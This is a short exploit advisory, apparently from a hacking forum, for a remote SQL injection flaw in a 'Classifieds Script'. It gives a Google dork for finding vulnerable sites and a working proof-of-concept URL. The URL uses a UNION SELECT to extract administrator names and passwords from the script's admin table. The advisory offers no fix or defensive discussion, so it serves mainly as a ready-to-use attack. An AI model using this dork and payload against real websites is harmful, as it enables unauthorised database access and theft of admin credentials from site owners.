18 lines
No EOL
390 B
Text
18 lines
No EOL
390 B
Text
Classifieds Script (type) Remote SQL Injection Vulnerability
|
|
|
|
| Author: Hussin X
|
|
|
|
|
| Home : www.iq-ty.com<http://www.iq-ty.com>
|
|
|
|
|
| email: darkangel_g85[at]Yahoo[DoT]com
|
|
| d0rk : inurl:"showcategory.php?type"
|
|
|
|
|
|
POC :
|
|
|
|
http://[server]/showcategory.php?type=6&cid=-1+union+select+1,unhex(hex(concat(admin_name,0x3e,pwd))),3,4,5+from+freetplbanners_admin--
|
|
|
|
|
|
#end
|
|
|
|
IQ-SecuritY FoRuM |